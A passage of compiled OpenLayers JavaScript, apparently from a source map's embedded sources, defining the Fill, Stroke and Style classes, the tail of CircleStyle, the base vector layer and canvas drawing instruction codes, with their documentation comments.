this;\n }\n /**\n * Clones the style.\n * @return {CircleStyle} The cloned style.\n * @api\n */\n CircleStyle.prototype.clone = function () {\n var scale = this.getScale();\n var style = new CircleStyle({\n fill: this.getFill() ? this.getFill().clone() : undefined,\n stroke: this.getStroke() ? this.getStroke().clone() : undefined,\n radius: this.getRadius(),\n scale: Array.isArray(scale) ? scale.slice() : scale,\n rotation: this.getRotation(),\n rotateWithView: this.getRotateWithView(),\n displacement: this.getDisplacement().slice(),\n declutterMode: this.getDeclutterMode(),\n });\n style.setOpacity(this.getOpacity());\n return style;\n };\n /**\n * Set the circle radius.\n *\n * @param {number} radius Circle radius.\n * @api\n */\n CircleStyle.prototype.setRadius = function (radius) {\n this.radius_ = radius;\n this.render();\n };\n return CircleStyle;\n}(RegularShape));\nexport default CircleStyle;\n//# sourceMappingURL=Circle.js.map","/**\n * @module ol/style/Fill\n */\n/**\n * @typedef {Object} Options\n * @property {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike|null} [color=null] A color, gradient or pattern.\n * See {@link module:ol/color~Color} and {@link module:ol/colorlike~ColorLike} for possible formats.\n * Default null; if null, the Canvas/renderer default black will be used.\n */\n/**\n * @classdesc\n * Set fill style for vector features.\n * @api\n */\nvar Fill = /** @class */ (function () {\n /**\n * @param {Options} [opt_options] Options.\n */\n function Fill(opt_options) {\n var options = opt_options || {};\n /**\n * @private\n * @type {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike|null}\n */\n this.color_ = options.color !== undefined ? options.color : null;\n }\n /**\n * Clones the style. The color is not cloned if it is an {@link module:ol/colorlike~ColorLike}.\n * @return {Fill} The cloned style.\n * @api\n */\n Fill.prototype.clone = function () {\n var color = this.getColor();\n return new Fill({\n color: Array.isArray(color) ? color.slice() : color || undefined,\n });\n };\n /**\n * Get the fill color.\n * @return {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike|null} Color.\n * @api\n */\n Fill.prototype.getColor = function () {\n return this.color_;\n };\n /**\n * Set the color.\n *\n * @param {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike|null} color Color.\n * @api\n */\n Fill.prototype.setColor = function (color) {\n this.color_ = color;\n };\n return Fill;\n}());\nexport default Fill;\n//# sourceMappingURL=Fill.js.map","/**\n * @module ol/style/Stroke\n */\n/**\n * @typedef {Object} Options\n * @property {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike} [color] A color, gradient or pattern.\n * See {@link module:ol/color~Color} and {@link module:ol/colorlike~ColorLike} for possible formats.\n * Default null; if null, the Canvas/renderer default black will be used.\n * @property {CanvasLineCap} [lineCap='round'] Line cap style: `butt`, `round`, or `square`.\n * @property {CanvasLineJoin} [lineJoin='round'] Line join style: `bevel`, `round`, or `miter`.\n * @property {Array<number>} [lineDash] Line dash pattern. Default is `null` (no dash).\n * Please note that Internet Explorer 10 and lower do not support the `setLineDash` method on\n * the `CanvasRenderingContext2D` and therefore this option will have no visual effect in these browsers.\n * @property {number} [lineDashOffset=0] Line dash offset.\n * @property {number} [miterLimit=10] Miter limit.\n * @property {number} [width] Width.\n */\n/**\n * @classdesc\n * Set stroke style for vector features.\n * Note that the defaults given are the Canvas defaults, which will be used if\n * option is not defined. The `get` functions return whatever was entered in\n * the options; they will not return the default.\n * @api\n */\nvar Stroke = /** @class */ (function () {\n /**\n * @param {Options} [opt_options] Options.\n */\n function Stroke(opt_options) {\n var options = opt_options || {};\n /**\n * @private\n * @type {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike}\n */\n this.color_ = options.color !== undefined ? options.color : null;\n /**\n * @private\n * @type {CanvasLineCap|undefined}\n */\n this.lineCap_ = options.lineCap;\n /**\n * @private\n * @type {Array<number>}\n */\n this.lineDash_ = options.lineDash !== undefined ? options.lineDash : null;\n /**\n * @private\n * @type {number|undefined}\n */\n this.lineDashOffset_ = options.lineDashOffset;\n /**\n * @private\n * @type {CanvasLineJoin|undefined}\n */\n this.lineJoin_ = options.lineJoin;\n /**\n * @private\n * @type {number|undefined}\n */\n this.miterLimit_ = options.miterLimit;\n /**\n * @private\n * @type {number|undefined}\n */\n this.width_ = options.width;\n }\n /**\n * Clones the style.\n * @return {Stroke} The cloned style.\n * @api\n */\n Stroke.prototype.clone = function () {\n var color = this.getColor();\n return new Stroke({\n color: Array.isArray(color) ? color.slice() : color || undefined,\n lineCap: this.getLineCap(),\n lineDash: this.getLineDash() ? this.getLineDash().slice() : undefined,\n lineDashOffset: this.getLineDashOffset(),\n lineJoin: this.getLineJoin(),\n miterLimit: this.getMiterLimit(),\n width: this.getWidth(),\n });\n };\n /**\n * Get the stroke color.\n * @return {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike} Color.\n * @api\n */\n Stroke.prototype.getColor = function () {\n return this.color_;\n };\n /**\n * Get the line cap type for the stroke.\n * @return {CanvasLineCap|undefined} Line cap.\n * @api\n */\n Stroke.prototype.getLineCap = function () {\n return this.lineCap_;\n };\n /**\n * Get the line dash style for the stroke.\n * @return {Array<number>} Line dash.\n * @api\n */\n Stroke.prototype.getLineDash = function () {\n return this.lineDash_;\n };\n /**\n * Get the line dash offset for the stroke.\n * @return {number|undefined} Line dash offset.\n * @api\n */\n Stroke.prototype.getLineDashOffset = function () {\n return this.lineDashOffset_;\n };\n /**\n * Get the line join type for the stroke.\n * @return {CanvasLineJoin|undefined} Line join.\n * @api\n */\n Stroke.prototype.getLineJoin = function () {\n return this.lineJoin_;\n };\n /**\n * Get the miter limit for the stroke.\n * @return {number|undefined} Miter limit.\n * @api\n */\n Stroke.prototype.getMiterLimit = function () {\n return this.miterLimit_;\n };\n /**\n * Get the stroke width.\n * @return {number|undefined} Width.\n * @api\n */\n Stroke.prototype.getWidth = function () {\n return this.width_;\n };\n /**\n * Set the color.\n *\n * @param {import(\"../color.js\").Color|import(\"../colorlike.js\").ColorLike} color Color.\n * @api\n */\n Stroke.prototype.setColor = function (color) {\n this.color_ = color;\n };\n /**\n * Set the line cap.\n *\n * @param {CanvasLineCap|undefined} lineCap Line cap.\n * @api\n */\n Stroke.prototype.setLineCap = function (lineCap) {\n this.lineCap_ = lineCap;\n };\n /**\n * Set the line dash.\n *\n * Please note that Internet Explorer 10 and lower [do not support][mdn] the\n * `setLineDash` method on the `CanvasRenderingContext2D` and therefore this\n * property will have no visual effect in these browsers.\n *\n * [mdn]: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/setLineDash#Browser_compatibility\n *\n * @param {Array<number>} lineDash Line dash.\n * @api\n */\n Stroke.prototype.setLineDash = function (lineDash) {\n this.lineDash_ = lineDash;\n };\n /**\n * Set the line dash offset.\n *\n * @param {number|undefined} lineDashOffset Line dash offset.\n * @api\n */\n Stroke.prototype.setLineDashOffset = function (lineDashOffset) {\n this.lineDashOffset_ = lineDashOffset;\n };\n /**\n * Set the line join.\n *\n * @param {CanvasLineJoin|undefined} lineJoin Line join.\n * @api\n */\n Stroke.prototype.setLineJoin = function (lineJoin) {\n this.lineJoin_ = lineJoin;\n };\n /**\n * Set the miter limit.\n *\n * @param {number|undefined} miterLimit Miter limit.\n * @api\n */\n Stroke.prototype.setMiterLimit = function (miterLimit) {\n this.miterLimit_ = miterLimit;\n };\n /**\n * Set the width.\n *\n * @param {number|undefined} width Width.\n * @api\n */\n Stroke.prototype.setWidth = function (width) {\n this.width_ = width;\n };\n return Stroke;\n}());\nexport default Stroke;\n//# sourceMappingURL=Stroke.js.map","/**\n * @module ol/style/Style\n */\nimport CircleStyle from './Circle.js';\nimport Fill from './Fill.js';\nimport Stroke from './Stroke.js';\nimport { assert } from '../asserts.js';\n/**\n * A function that takes an {@link module:ol/Feature~Feature} and a `{number}`\n * representing the view's resolution. The function should return a\n * {@link module:ol/style/Style~Style} or an array of them. This way e.g. a\n * vector layer can be styled. If the function returns `undefined`, the\n * feature will not be rendered.\n *\n * @typedef {function(import(\"../Feature.js\").FeatureLike, number):(Style|Array<Style>|void)} StyleFunction\n */\n/**\n * A {@link Style}, an array of {@link Style}, or a {@link StyleFunction}.\n * @typedef {Style|Array<Style>|StyleFunction} StyleLike\n */\n/**\n * A function that takes an {@link module:ol/Feature~Feature} as argument and returns an\n * {@link module:ol/geom/Geometry~Geometry} that will be rendered and styled for the feature.\n *\n * @typedef {function(import(\"../Feature.js\").FeatureLike):\n * (import(\"../geom/Geometry.js\").default|import(\"../render/Feature.js\").default|undefined)} GeometryFunction\n */\n/**\n * Custom renderer function. Takes two arguments:\n *\n * 1. The pixel coordinates of the geometry in GeoJSON notation.\n * 2. The {@link module:ol/render~State} of the layer renderer.\n *\n * @typedef {function((import(\"../coordinate.js\").Coordinate|Array<import(\"../coordinate.js\").Coordinate>|Array<Array<import(\"../coordinate.js\").Coordinate>>),import(\"../render.js\").State): void} RenderFunction\n */\n/**\n * @typedef {Object} Options\n * @property {string|import(\"../geom/Geometry.js\").default|GeometryFunction} [geometry] Feature property or geometry\n * or function returning a geometry to render for this style.\n * @property {import(\"./Fill.js\").default} [fill] Fill style.\n * @property {import(\"./Image.js\").default} [image] Image style.\n * @property {RenderFunction} [renderer] Custom renderer. When configured, `fill`, `stroke` and `image` will be\n * ignored, and the provided function will be called with each render frame for each geometry.\n * @property {RenderFunction} [hitDetectionRenderer] Custom renderer for hit detection. If provided will be used\n * in hit detection rendering.\n * @property {import(\"./Stroke.js\").default} [stroke] Stroke style.\n * @property {import(\"./Text.js\").default} [text] Text style.\n * @property {number} [zIndex] Z index.\n */\n/**\n * @classdesc\n * Container for vector feature rendering styles. Any changes made to the style\n * or its children through `set*()` methods will not take effect until the\n * feature or layer that uses the style is re-rendered.\n *\n * ## Feature styles\n *\n * If no style is defined, the following default style is used:\n * ```js\n * import {Circle, Fill, Stroke, Style} from 'ol/style';\n *\n * const fill = new Fill({\n * color: 'rgba(255,255,255,0.4)',\n * });\n * const stroke = new Stroke({\n * color: '#3399CC',\n * width: 1.25,\n * });\n * const styles = [\n * new Style({\n * image: new Circle({\n * fill: fill,\n * stroke: stroke,\n * radius: 5,\n * }),\n * fill: fill,\n * stroke: stroke,\n * }),\n * ];\n * ```\n *\n * A separate editing style has the following defaults:\n * ```js\n * import {Circle, Fill, Stroke, Style} from 'ol/style';\n *\n * const styles = {};\n * const white = [255, 255, 255, 1];\n * const blue = [0, 153, 255, 1];\n * const width = 3;\n * styles['Polygon'] = [\n * new Style({\n * fill: new Fill({\n * color: [255, 255, 255, 0.5],\n * }),\n * }),\n * ];\n * styles['MultiPolygon'] =\n * styles['Polygon'];\n * styles['LineString'] = [\n * new Style({\n * stroke: new Stroke({\n * color: white,\n * width: width + 2,\n * }),\n * }),\n * new Style({\n * stroke: new Stroke({\n * color: blue,\n * width: width,\n * }),\n * }),\n * ];\n * styles['MultiLineString'] = styles['LineString'];\n *\n * styles['Circle'] = styles['Polygon'].concat(\n * styles['LineString']\n * );\n *\n * styles['Point'] = [\n * new Style({\n * image: new Circle({\n * radius: width * 2,\n * fill: new Fill({\n * color: blue,\n * }),\n * stroke: new Stroke({\n * color: white,\n * width: width / 2,\n * }),\n * }),\n * zIndex: Infinity,\n * }),\n * ];\n * styles['MultiPoint'] =\n * styles['Point'];\n * styles['GeometryCollection'] =\n * styles['Polygon'].concat(\n * styles['LineString'],\n * styles['Point']\n * );\n * ```\n *\n * @api\n */\nvar Style = /** @class */ (function () {\n /**\n * @param {Options} [opt_options] Style options.\n */\n function Style(opt_options) {\n var options = opt_options || {};\n /**\n * @private\n * @type {string|import(\"../geom/Geometry.js\").default|GeometryFunction}\n */\n this.geometry_ = null;\n /**\n * @private\n * @type {!GeometryFunction}\n */\n this.geometryFunction_ = defaultGeometryFunction;\n if (options.geometry !== undefined) {\n this.setGeometry(options.geometry);\n }\n /**\n * @private\n * @type {import(\"./Fill.js\").default}\n */\n this.fill_ = options.fill !== undefined ? options.fill : null;\n /**\n * @private\n * @type {import(\"./Image.js\").default}\n */\n this.image_ = options.image !== undefined ? options.image : null;\n /**\n * @private\n * @type {RenderFunction|null}\n */\n this.renderer_ = options.renderer !== undefined ? options.renderer : null;\n /**\n * @private\n * @type {RenderFunction|null}\n */\n this.hitDetectionRenderer_ =\n options.hitDetectionRenderer !== undefined\n ? options.hitDetectionRenderer\n : null;\n /**\n * @private\n * @type {import(\"./Stroke.js\").default}\n */\n this.stroke_ = options.stroke !== undefined ? options.stroke : null;\n /**\n * @private\n * @type {import(\"./Text.js\").default}\n */\n this.text_ = options.text !== undefined ? options.text : null;\n /**\n * @private\n * @type {number|undefined}\n */\n this.zIndex_ = options.zIndex;\n }\n /**\n * Clones the style.\n * @return {Style} The cloned style.\n * @api\n */\n Style.prototype.clone = function () {\n var geometry = this.getGeometry();\n if (geometry && typeof geometry === 'object') {\n geometry = /** @type {import(\"../geom/Geometry.js\").default} */ (geometry).clone();\n }\n return new Style({\n geometry: geometry,\n fill: this.getFill() ? this.getFill().clone() : undefined,\n image: this.getImage() ? this.getImage().clone() : undefined,\n renderer: this.getRenderer(),\n stroke: this.getStroke() ? this.getStroke().clone() : undefined,\n text: this.getText() ? this.getText().clone() : undefined,\n zIndex: this.getZIndex(),\n });\n };\n /**\n * Get the custom renderer function that was configured with\n * {@link #setRenderer} or the `renderer` constructor option.\n * @return {RenderFunction|null} Custom renderer function.\n * @api\n */\n Style.prototype.getRenderer = function () {\n return this.renderer_;\n };\n /**\n * Sets a custom renderer function for this style. When set, `fill`, `stroke`\n * and `image` options of the style will be ignored.\n * @param {RenderFunction|null} renderer Custom renderer function.\n * @api\n */\n Style.prototype.setRenderer = function (renderer) {\n this.renderer_ = renderer;\n };\n /**\n * Sets a custom renderer function for this style used\n * in hit detection.\n * @param {RenderFunction|null} renderer Custom renderer function.\n * @api\n */\n Style.prototype.setHitDetectionRenderer = function (renderer) {\n this.hitDetectionRenderer_ = renderer;\n };\n /**\n * Get the custom renderer function that was configured with\n * {@link #setHitDetectionRenderer} or the `hitDetectionRenderer` constructor option.\n * @return {RenderFunction|null} Custom renderer function.\n * @api\n */\n Style.prototype.getHitDetectionRenderer = function () {\n return this.hitDetectionRenderer_;\n };\n /**\n * Get the geometry to be rendered.\n * @return {string|import(\"../geom/Geometry.js\").default|GeometryFunction}\n * Feature property or geometry or function that returns the geometry that will\n * be rendered with this style.\n * @api\n */\n Style.prototype.getGeometry = function () {\n return this.geometry_;\n };\n /**\n * Get the function used to generate a geometry for rendering.\n * @return {!GeometryFunction} Function that is called with a feature\n * and returns the geometry to render instead of the feature's geometry.\n * @api\n */\n Style.prototype.getGeometryFunction = function () {\n return this.geometryFunction_;\n };\n /**\n * Get the fill style.\n * @return {import(\"./Fill.js\").default} Fill style.\n * @api\n */\n Style.prototype.getFill = function () {\n return this.fill_;\n };\n /**\n * Set the fill style.\n * @param {import(\"./Fill.js\").default} fill Fill style.\n * @api\n */\n Style.prototype.setFill = function (fill) {\n this.fill_ = fill;\n };\n /**\n * Get the image style.\n * @return {import(\"./Image.js\").default} Image style.\n * @api\n */\n Style.prototype.getImage = function () {\n return this.image_;\n };\n /**\n * Set the image style.\n * @param {import(\"./Image.js\").default} image Image style.\n * @api\n */\n Style.prototype.setImage = function (image) {\n this.image_ = image;\n };\n /**\n * Get the stroke style.\n * @return {import(\"./Stroke.js\").default} Stroke style.\n * @api\n */\n Style.prototype.getStroke = function () {\n return this.stroke_;\n };\n /**\n * Set the stroke style.\n * @param {import(\"./Stroke.js\").default} stroke Stroke style.\n * @api\n */\n Style.prototype.setStroke = function (stroke) {\n this.stroke_ = stroke;\n };\n /**\n * Get the text style.\n * @return {import(\"./Text.js\").default} Text style.\n * @api\n */\n Style.prototype.getText = function () {\n return this.text_;\n };\n /**\n * Set the text style.\n * @param {import(\"./Text.js\").default} text Text style.\n * @api\n */\n Style.prototype.setText = function (text) {\n this.text_ = text;\n };\n /**\n * Get the z-index for the style.\n * @return {number|undefined} ZIndex.\n * @api\n */\n Style.prototype.getZIndex = function () {\n return this.zIndex_;\n };\n /**\n * Set a geometry that is rendered instead of the feature's geometry.\n *\n * @param {string|import(\"../geom/Geometry.js\").default|GeometryFunction} geometry\n * Feature property or geometry or function returning a geometry to render\n * for this style.\n * @api\n */\n Style.prototype.setGeometry = function (geometry) {\n if (typeof geometry === 'function') {\n this.geometryFunction_ = geometry;\n }\n else if (typeof geometry === 'string') {\n this.geometryFunction_ = function (feature) {\n return /** @type {import(\"../geom/Geometry.js\").default} */ (feature.get(geometry));\n };\n }\n else if (!geometry) {\n this.geometryFunction_ = defaultGeometryFunction;\n }\n else if (geometry !== undefined) {\n this.geometryFunction_ = function () {\n return /** @type {import(\"../geom/Geometry.js\").default} */ (geometry);\n };\n }\n this.geometry_ = geometry;\n };\n /**\n * Set the z-index.\n *\n * @param {number|undefined} zIndex ZIndex.\n * @api\n */\n Style.prototype.setZIndex = function (zIndex) {\n this.zIndex_ = zIndex;\n };\n return Style;\n}());\n/**\n * Convert the provided object into a style function. Functions passed through\n * unchanged. Arrays of Style or single style objects wrapped in a\n * new style function.\n * @param {StyleFunction|Array<Style>|Style} obj\n * A style function, a single style, or an array of styles.\n * @return {StyleFunction} A style function.\n */\nexport function toFunction(obj) {\n var styleFunction;\n if (typeof obj === 'function') {\n styleFunction = obj;\n }\n else {\n /**\n * @type {Array<Style>}\n */\n var styles_1;\n if (Array.isArray(obj)) {\n styles_1 = obj;\n }\n else {\n assert(typeof ( /** @type {?} */(obj).getZIndex) === 'function', 41); // Expected an `Style` or an array of `Style`\n var style = /** @type {Style} */ (obj);\n styles_1 = [style];\n }\n styleFunction = function () {\n return styles_1;\n };\n }\n return styleFunction;\n}\n/**\n * @type {Array<Style>|null}\n */\nvar defaultStyles = null;\n/**\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {number} resolution Resolution.\n * @return {Array<Style>} Style.\n */\nexport function createDefaultStyle(feature, resolution) {\n // We don't use an immediately-invoked function\n // and a closure so we don't get an error at script evaluation time in\n // browsers that do not support Canvas. (import(\"./Circle.js\").CircleStyle does\n // canvas.getContext('2d') at construction time, which will cause an.error\n // in such browsers.)\n if (!defaultStyles) {\n var fill = new Fill({\n color: 'rgba(255,255,255,0.4)',\n });\n var stroke = new Stroke({\n color: '#3399CC',\n width: 1.25,\n });\n defaultStyles = [\n new Style({\n image: new CircleStyle({\n fill: fill,\n stroke: stroke,\n radius: 5,\n }),\n fill: fill,\n stroke: stroke,\n }),\n ];\n }\n return defaultStyles;\n}\n/**\n * Default styles for editing features.\n * @return {Object<import(\"../geom/Geometry.js\").Type, Array<Style>>} Styles\n */\nexport function createEditingStyle() {\n /** @type {Object<import(\"../geom/Geometry.js\").Type, Array<Style>>} */\n var styles = {};\n var white = [255, 255, 255, 1];\n var blue = [0, 153, 255, 1];\n var width = 3;\n styles['Polygon'] = [\n new Style({\n fill: new Fill({\n color: [255, 255, 255, 0.5],\n }),\n }),\n ];\n styles['MultiPolygon'] = styles['Polygon'];\n styles['LineString'] = [\n new Style({\n stroke: new Stroke({\n color: white,\n width: width + 2,\n }),\n }),\n new Style({\n stroke: new Stroke({\n color: blue,\n width: width,\n }),\n }),\n ];\n styles['MultiLineString'] = styles['LineString'];\n styles['Circle'] = styles['Polygon'].concat(styles['LineString']);\n styles['Point'] = [\n new Style({\n image: new CircleStyle({\n radius: width * 2,\n fill: new Fill({\n color: blue,\n }),\n stroke: new Stroke({\n color: white,\n width: width / 2,\n }),\n }),\n zIndex: Infinity,\n }),\n ];\n styles['MultiPoint'] = styles['Point'];\n styles['GeometryCollection'] = styles['Polygon'].concat(styles['LineString'], styles['Point']);\n return styles;\n}\n/**\n * Function that is called with a feature and returns its default geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature to get the geometry for.\n * @return {import(\"../geom/Geometry.js\").default|import(\"../render/Feature.js\").default|undefined} Geometry to render.\n */\nfunction defaultGeometryFunction(feature) {\n return feature.getGeometry();\n}\nexport default Style;\n//# sourceMappingURL=Style.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/BaseVector\n */\nimport Layer from './Layer.js';\nimport RBush from 'rbush';\nimport { assign } from '../obj.js';\nimport { createDefaultStyle, toFunction as toStyleFunction, } from '../style/Style.js';\n/**\n * @template {import(\"../source/Vector.js\").default|import(\"../source/VectorTile.js\").default} VectorSourceType\n * @typedef {Object} Options\n * @property {string} [className='ol-layer'] A CSS class name to set to the layer element.\n * @property {number} [opacity=1] Opacity (0, 1).\n * @property {boolean} [visible=true] Visibility.\n * @property {import(\"../extent.js\").Extent} [extent] The bounding extent for layer rendering. The layer will not be\n * rendered outside of this extent.\n * @property {number} [zIndex] The z-index for layer rendering. At rendering time, the layers\n * will be ordered, first by Z-index and then by position. When `undefined`, a `zIndex` of 0 is assumed\n * for layers that are added to the map's `layers` collection, or `Infinity` when the layer's `setMap()`\n * method was used.\n * @property {number} [minResolution] The minimum resolution (inclusive) at which this layer will be\n * visible.\n * @property {number} [maxResolution] The maximum resolution (exclusive) below which this layer will\n * be visible.\n * @property {number} [minZoom] The minimum view zoom level (exclusive) above which this layer will be\n * visible.\n * @property {number} [maxZoom] The maximum view zoom level (inclusive) at which this layer will\n * be visible.\n * @property {import(\"../render.js\").OrderFunction} [renderOrder] Render order. Function to be used when sorting\n * features before rendering. By default features are drawn in the order that they are created. Use\n * `null` to avoid the sort, but get an undefined draw order.\n * @property {number} [renderBuffer=100] The buffer in pixels around the viewport extent used by the\n * renderer when getting features from the vector source for the rendering or hit-detection.\n * Recommended value: the size of the largest symbol, line width or label.\n * @property {VectorSourceType} [source] Source.\n * @property {import(\"../PluggableMap.js\").default} [map] Sets the layer as overlay on a map. The map will not manage\n * this layer in its layers collection, and the layer will be rendered on top. This is useful for\n * temporary layers. The standard way to add a layer to a map and have it managed by the map is to\n * use {@link import(\"../PluggableMap.js\").default#addLayer map.addLayer()}.\n * @property {boolean} [declutter=false] Declutter images and text. Decluttering is applied to all\n * image and text styles of all Vector and VectorTile layers that have set this to `true`. The priority\n * is defined by the z-index of the layer, the `zIndex` of the style and the render order of features.\n * Higher z-index means higher priority. Within the same z-index, a feature rendered before another has\n * higher priority.\n *\n * As an optimization decluttered features from layers with the same `className` are rendered above\n * the fill and stroke styles of all of those layers regardless of z-index. To opt out of this\n * behavior and place declutterd features with their own layer configure the layer with a `className`\n * other than `ol-layer`.\n * @property {import(\"../style/Style.js\").StyleLike|null} [style] Layer style. When set to `null`, only\n * features that have their own style will be rendered. See {@link module:ol/style/Style~Style} for the default style\n * which will be used if this is not set.\n * @property {import(\"./Base.js\").BackgroundColor} [background] Background color for the layer. If not specified, no background\n * will be rendered.\n * @property {boolean} [updateWhileAnimating=false] When set to `true`, feature batches will\n * be recreated during animations. This means that no vectors will be shown clipped, but the\n * setting will have a performance impact for large amounts of vector data. When set to `false`,\n * batches will be recreated when no animation is active.\n * @property {boolean} [updateWhileInteracting=false] When set to `true`, feature batches will\n * be recreated during interactions. See also `updateWhileAnimating`.\n * @property {Object<string, *>} [properties] Arbitrary observable properties. Can be accessed with `#get()` and `#set()`.\n */\n/**\n * @enum {string}\n * @private\n */\nvar Property = {\n RENDER_ORDER: 'renderOrder',\n};\n/**\n * @classdesc\n * Vector data that is rendered client-side.\n * Note that any property set in the options is set as a {@link module:ol/Object~BaseObject}\n * property on the layer object; for example, setting `title: 'My Title'` in the\n * options means that `title` is observable, and has get/set accessors.\n *\n * @template {import(\"../source/Vector.js\").default|import(\"../source/VectorTile.js\").default} VectorSourceType\n * @template {import(\"../renderer/canvas/VectorLayer.js\").default|import(\"../renderer/canvas/VectorTileLayer.js\").default|import(\"../renderer/canvas/VectorImageLayer.js\").default|import(\"../renderer/webgl/PointsLayer.js\").default} RendererType\n * @extends {Layer<VectorSourceType, RendererType>}\n * @api\n */\nvar BaseVectorLayer = /** @class */ (function (_super) {\n __extends(BaseVectorLayer, _super);\n /**\n * @param {Options<VectorSourceType>} [opt_options] Options.\n */\n function BaseVectorLayer(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var baseOptions = assign({}, options);\n delete baseOptions.style;\n delete baseOptions.renderBuffer;\n delete baseOptions.updateWhileAnimating;\n delete baseOptions.updateWhileInteracting;\n _this = _super.call(this, baseOptions) || this;\n /**\n * @private\n * @type {boolean}\n */\n _this.declutter_ =\n options.declutter !== undefined ? options.declutter : false;\n /**\n * @type {number}\n * @private\n */\n _this.renderBuffer_ =\n options.renderBuffer !== undefined ? options.renderBuffer : 100;\n /**\n * User provided style.\n * @type {import(\"../style/Style.js\").StyleLike}\n * @private\n */\n _this.style_ = null;\n /**\n * Style function for use within the library.\n * @type {import(\"../style/Style.js\").StyleFunction|undefined}\n * @private\n */\n _this.styleFunction_ = undefined;\n _this.setStyle(options.style);\n /**\n * @type {boolean}\n * @private\n */\n _this.updateWhileAnimating_ =\n options.updateWhileAnimating !== undefined\n ? options.updateWhileAnimating\n : false;\n /**\n * @type {boolean}\n * @private\n */\n _this.updateWhileInteracting_ =\n options.updateWhileInteracting !== undefined\n ? options.updateWhileInteracting\n : false;\n return _this;\n }\n /**\n * @return {boolean} Declutter.\n */\n BaseVectorLayer.prototype.getDeclutter = function () {\n return this.declutter_;\n };\n /**\n * Get the topmost feature that intersects the given pixel on the viewport. Returns a promise\n * that resolves with an array of features. The array will either contain the topmost feature\n * when a hit was detected, or it will be empty.\n *\n * The hit detection algorithm used for this method is optimized for performance, but is less\n * accurate than the one used in {@link import(\"../PluggableMap.js\").default#getFeaturesAtPixel}: Text\n * is not considered, and icons are only represented by their bounding box instead of the exact\n * image.\n *\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @return {Promise<Array<import(\"../Feature\").default>>} Promise that resolves with an array of features.\n * @api\n */\n BaseVectorLayer.prototype.getFeatures = function (pixel) {\n return _super.prototype.getFeatures.call(this, pixel);\n };\n /**\n * @return {number|undefined} Render buffer.\n */\n BaseVectorLayer.prototype.getRenderBuffer = function () {\n return this.renderBuffer_;\n };\n /**\n * @return {function(import(\"../Feature.js\").default, import(\"../Feature.js\").default): number|null|undefined} Render\n * order.\n */\n BaseVectorLayer.prototype.getRenderOrder = function () {\n return /** @type {import(\"../render.js\").OrderFunction|null|undefined} */ (this.get(Property.RENDER_ORDER));\n };\n /**\n * Get the style for features. This returns whatever was passed to the `style`\n * option at construction or to the `setStyle` method.\n * @return {import(\"../style/Style.js\").StyleLike|null|undefined} Layer style.\n * @api\n */\n BaseVectorLayer.prototype.getStyle = function () {\n return this.style_;\n };\n /**\n * Get the style function.\n * @return {import(\"../style/Style.js\").StyleFunction|undefined} Layer style function.\n * @api\n */\n BaseVectorLayer.prototype.getStyleFunction = function () {\n return this.styleFunction_;\n };\n /**\n * @return {boolean} Whether the rendered layer should be updated while\n * animating.\n */\n BaseVectorLayer.prototype.getUpdateWhileAnimating = function () {\n return this.updateWhileAnimating_;\n };\n /**\n * @return {boolean} Whether the rendered layer should be updated while\n * interacting.\n */\n BaseVectorLayer.prototype.getUpdateWhileInteracting = function () {\n return this.updateWhileInteracting_;\n };\n /**\n * Render declutter items for this layer\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n */\n BaseVectorLayer.prototype.renderDeclutter = function (frameState) {\n if (!frameState.declutterTree) {\n frameState.declutterTree = new RBush(9);\n }\n /** @type {*} */ (this.getRenderer()).renderDeclutter(frameState);\n };\n /**\n * @param {import(\"../render.js\").OrderFunction|null|undefined} renderOrder\n * Render order.\n */\n BaseVectorLayer.prototype.setRenderOrder = function (renderOrder) {\n this.set(Property.RENDER_ORDER, renderOrder);\n };\n /**\n * Set the style for features. This can be a single style object, an array\n * of styles, or a function that takes a feature and resolution and returns\n * an array of styles. If set to `null`, the layer has no style (a `null` style),\n * so only features that have their own styles will be rendered in the layer. Call\n * `setStyle()` without arguments to reset to the default style. See\n * {@link module:ol/style/Style~Style} for information on the default style.\n * @param {import(\"../style/Style.js\").StyleLike|null} [opt_style] Layer style.\n * @api\n */\n BaseVectorLayer.prototype.setStyle = function (opt_style) {\n this.style_ = opt_style !== undefined ? opt_style : createDefaultStyle;\n this.styleFunction_ =\n opt_style === null ? undefined : toStyleFunction(this.style_);\n this.changed();\n };\n return BaseVectorLayer;\n}(Layer));\nexport default BaseVectorLayer;\n//# sourceMappingURL=BaseVector.js.map","/**\n * @module ol/render/canvas/Instruction\n */\n/**\n * @enum {number}\n */\nvar Instruction = {\n BEGIN_GEOMETRY: 0,\n BEGIN_PATH: 1,\n CIRCLE: 2,\n CLOSE_PATH: 3,\n CUSTOM: 4,\n DRAW_CHARS: 5,\n DRAW_IMAGE: 6,\n END_GEOMETRY: 7,\n FILL: 8,\n MOVE_TO_LINE_TO: 9,\n SET_FILL_STYLE: 10,\n SET_STROKE_STYLE: 11,\n STROKE: 12,\n};\n/**\n * @type {Array<Instruction>}\n */\nexport var fillInstruction = [Instruction.FILL];\n/**\n * @type {Array<Instruction>}\n */\nexport var strokeInstruction = [Instruction.STROKE];\n/**\n * @type {Array<Instruction>}\n */\nexport var beginPathInstruction = [Instruction.BEGIN_PATH];\n/**\n * @type {Array<Instruction>}\n */\nexport var closePathInstruction = [Instruction.CLOSE_PATH];\nexport default Instruction;\n//# 